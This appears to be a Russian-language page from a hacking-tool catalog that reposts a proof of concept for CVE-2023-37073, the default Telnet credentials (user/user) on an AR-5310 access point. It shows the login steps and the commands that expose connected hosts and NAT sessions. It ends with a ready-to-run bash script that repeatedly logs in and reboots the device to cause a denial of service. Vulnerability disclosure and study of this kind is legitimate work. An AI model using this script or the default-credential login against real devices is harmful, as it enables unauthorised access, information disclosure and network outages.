Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-37073 — Учётные данные Telnet по умолчанию могут привести к раскрытию информации и атакам типа «отказ в обслуживании» (DoS). | Kitploit
Инструменты/GitHubGitHub/hamza0x/cve-2023-37073
Безопасность IoTАтаки на ПаролиЭксплуатацияСбор информацииБезопасность оборудования и IoT
GitHubhamza0x/cve-2023-37073

CVE-2023-37073

Учётные данные Telnet по умолчанию могут привести к раскрытию информации и атакам типа «отказ в обслуживании» (DoS).

Репозиторий
22 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-37073

Учётные данные Telnet по умолчанию могут привести к раскрытию информации и DoS-атакам.

Шаги для воспроизведения

Это затрагивает точку доступа AR-5310

root@kitploit:~
  Telnet 192.168.1.1
  username:user
  password:user
  Then Boom ... You logged in 

Раскрытие информации через учётные данные Telnet по умолчанию

root@kitploit:~
    When you log in using Telnet service, 
    type the command 'help' or '?' to view    
    available options:
    
    > reboot, ping, lanhosts, passwd
  
    > restoredefault, nslookup, traceroute
  
    > save, uptime, exitOnIdle, wan, version,
  
    > serialnumber, modelname, tr69cfg, nat

root@kitploit:~
  To obtain the IP and MAC address of each device 
  connected to the network, run the command  
  'lanhosts'.
  To display all NAT sessions through the Access  
  Point (AP), 
  use the command 'nat show session'

DoS-атака

root@kitploit:~
  To execute a Denial of Service (DoS) attack, 
  run the command 'reboot' to restart the AP. 
  I want to automate a script that will 
  consistently restart the AP.

Автоматизация DoS-атаки с помощью shell-скрипта

root@kitploit:~
#!/bin/bash

# Telnet credentials
USER="user"
PASSWORD="user"
HOST="192.168.1.1"

# Function to check host availability
check_host_availability() {
    ping -c 1 -W 1 "$HOST" > /dev/null 2>&1
    return $?
}

# Loop to check host availability and execute Telnet command when available
while true; do
    if check_host_availability; then
        echo "Host $HOST is reachable. Initiating Telnet connection and reboot..."
        { sleep 1; echo "$USER"; sleep 1; echo "$PASSWORD"; sleep 1; echo "reboot"; sleep 1; } | telnet "$HOST"
    else
        echo "Host $HOST is not reachable. Retrying in 10 seconds..."
        sleep 10
    fi
done
Скачать инструмент